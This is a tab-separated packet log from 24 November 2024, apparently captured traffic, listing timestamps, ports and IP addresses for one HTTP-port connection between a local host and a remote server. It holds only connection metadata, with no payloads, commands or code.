Nov 24, 2024 12:24:14.569387913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.569600105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.569679022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.569708109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.569749117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.570517063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.570561886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.570595980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.570651054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.571521044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.571564913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.571583986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.571631908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.572335005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.572413921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.572441101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.572485924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.573287964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.573486090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.573549032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.574184895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.574295044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.574338913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.575067997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.575187922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.575229883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.575995922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.576050043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.576076984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.576112986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.576903105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.576950073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.577006102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.577162981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.577908993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.578073025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.578099012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.578151941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.578772068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.578892946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.578944921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.579654932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.579771996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.579822063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.580681086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.580770969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.580811024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.581506014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.581562996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.581597090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.581634998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.582411051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.582509995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.582535982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.582576036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.583337069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.583395004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.583421946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.583460093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.584244967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.584295034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.584326982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.584393978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.585135937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.585210085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.585253000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.739239931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.739330053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.739510059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.739577055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.739670992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.739686966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.739701986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.739747047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.740489006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.740534067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.740592957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.740639925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.741409063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.741456985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.741492987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.741539955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.742321968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.742371082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.742630959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.742675066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.743284941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.743341923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.743457079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.743503094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.744215012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.744261026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.744355917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.744401932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.745064020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.745110035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.745167971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.745208979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.746063948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.746119022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.746149063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.746192932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.746946096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.746997118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.747033119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.747076035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.747818947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.747867107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.747900009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.747942924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.748841047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.748887062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.748955965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.749000072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.749715090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.749783993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.749835014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.749880075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.750633955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.750679970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.750991106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.751039028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.751537085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.751593113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.751635075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.751681089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.752470016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.752516985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.752598047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.752643108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.753398895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.753441095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.753513098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.753557920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.754229069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.754273891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.754353046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.754394054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.755161047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.755206108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.755239964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.755283117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.756079912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.756125927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.756246090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.756289959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.756989002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.757035017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.757160902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.757208109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.757921934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.757967949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.757994890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.758085012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.758810997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.758858919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.758920908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.758966923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.759762049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.759830952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.759859085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.759898901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.760684967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.760730028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.760762930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.760803938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.761555910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.761599064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.761665106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.761708975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.762484074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.762531042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.762595892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.762641907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.763422012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.763463974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.763550043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.763596058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.764302015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.764348984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.764431953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.764484882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.765229940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.765274048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.765341997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.765387058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.766139030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.766181946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.766237974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.766282082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.767071009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.767116070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.767328978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.767379999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.767966986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.768016100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.768064976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.768111944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.768927097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.768954992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.768969059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.768992901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.769834042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.769897938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.769932032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.769979000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.770699024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.770747900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.770776987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.770821095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.771634102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.771676064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.771815062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.771858931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.772572041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.772615910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.772629023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.772672892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.773463964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.773509979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.773539066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.773582935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.774476051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.774522066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.774555922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.774600983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.775324106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.775367975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.775418997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.775465965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.776319981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.776364088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.776403904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.776443005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.777127028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.777172089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.777216911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.777260065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.778049946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.778100967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.778142929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.778187990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.778974056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.779019117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.779053926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.779097080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.779892921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.779938936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.779956102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.779979944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.780817032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.780862093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.780917883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.780961990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.781759977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.781801939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.781864882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.781910896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.782629013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.782675982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.782743931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.782788038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.783615112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.783663988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.783690929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.783735037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.784492016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.784538984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.784579039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.784629107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.785384893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.785429001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.785490036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.785533905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.786298037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.786340952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.786372900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.786427021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.787141085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.787184000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.941066027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.941242933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.941287041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.941301107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.941318989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.941406012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.941517115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.941517115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.942826033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.942964077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.942981958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.942998886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.943016052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.943027020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.943039894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.943059921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.943649054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.943695068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.943727970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.943773031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.944550991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.944596052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.944617033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.944667101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.947910070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.947952986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.948079109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.948093891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.948108912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.948118925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.948132992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.948142052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.948152065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.948165894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.948204994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.948916912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.948934078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.948965073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.948983908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.949103117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.949148893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.949233055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.949278116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.950037003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.950082064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.950145960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.950193882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.950982094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.951028109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.951060057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.951107025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.951872110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.951919079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.951987028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.952032089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.953001976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.953062057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.953090906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.953136921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.953792095 CET	80	49765	31.41.244.11	192.168.2.4
